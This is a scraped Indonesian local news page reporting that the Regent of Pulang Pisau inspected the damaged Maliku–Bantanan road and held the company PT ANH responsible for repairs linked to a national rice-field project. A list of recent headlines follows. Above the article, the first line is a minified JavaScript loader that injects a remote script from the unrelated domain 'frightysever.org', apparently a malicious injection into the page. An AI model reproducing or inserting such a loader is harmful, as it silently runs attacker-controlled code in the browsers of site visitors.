(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Tinjau Jalan Rusak Maliku – Bantanan, Bupati Pulang Pisau: Perusahaan Wajib Bertanggung Jawab


KANALKALIMANTAN.COM, PULANG PISAU – Bupati Pulang Pisau, H Ahmad Rifa’i meninjau langsung kondisi jalan rusak di ruas Maliku – Bantanan yang menjadi akses utama menuju Kecamatan Sebangau Kuala, Rabu (18/6/2025).

Bupati Pulang Pisau menyebut, kerusakan jalan tersebut disebabkan oleh aktivitas mobilisasi alat berat milik PT ANH yang tengah mengerjakan Proyek Strategis Nasional (PSN) Cetak Sawah Rakyat (CSR) di wilayah Kecamatan Sebangau Kuala.

“Kerusakan ini merupakan imbas dari proyek CSR. Tapi setelah kami turun langsung ke lapangan, pihak perusahaan menunjukkan itikad baik untuk memperbaikinya,” ungkap Bupati Ahmad Rifa’i didampingi Dandim 1011/KLK Letkol Inf Pamungkas Army Saputro.

Baca juga: Putra Daerah Kalsel Didapuk Menjadi Ketum Nasional Kreatif Muda Indonesia

Bupati Ahmad Rofa’i menegaskan agar perusahaan tidak hanya memperbaiki saat ini, namun juga bertanggung jawab menjaga kondisi jalan tetap baik usai kegiatan selesai.

“Kalau nanti selesai proyek dan mereka keluar lewat jalan ini, jangan sampai meninggalkan kerusakan. Harus segera diperbaiki lagi,” tegasnya.

Baca juga: Kunjungan ke Mal Pelayanan Publik, Komisi II DPRD Banjarbaru Beri Sejumlah Catatan

Senada dengan Bupati, Dandim 1011/KLK Letkol Inf Pamungkas Army Saputro mengatakan, TNI AD sejak awal ikut mendampingi dan mengawal program CSR sebagai bagian dari upaya swasembada pangan nasional. Dia mengakui bahwa pelaksanaan program ini memiliki dampak negatif terhadap infrastruktur.

“Kerusakan jalan ini memang jadi salah satu konsekuensinya. Tapi sudah dibahas di tingkat Kementerian Pertanian dan Pemprov Kalteng, perusahaan wajib bertanggung jawab atas fasilitas umum yang terdampak proyek,” jelas Dandim 1011.

Sebelumnya, Bupati Ahmad Rifa’i sempat melakukan peninjauan ke jalur yang sama pada 21 April 2025. Peninjauan kali ini menjadi bentuk keseriusan Pemkab Pulang Pisau dalam memastikan kelayakan akses jalan demi kelancaran aktivitas warga. Langkah ini menegaskan bahwa pembangunan infrastruktur strategis tidak boleh mengorbankan kepentingan masyarakat sekitar. (Kanalkalimantan.com/bahrawi)

Reporter: bahrawi
Editor: kk


Risa

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

4 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

8 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

8 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

11 jam ago

This website uses cookies.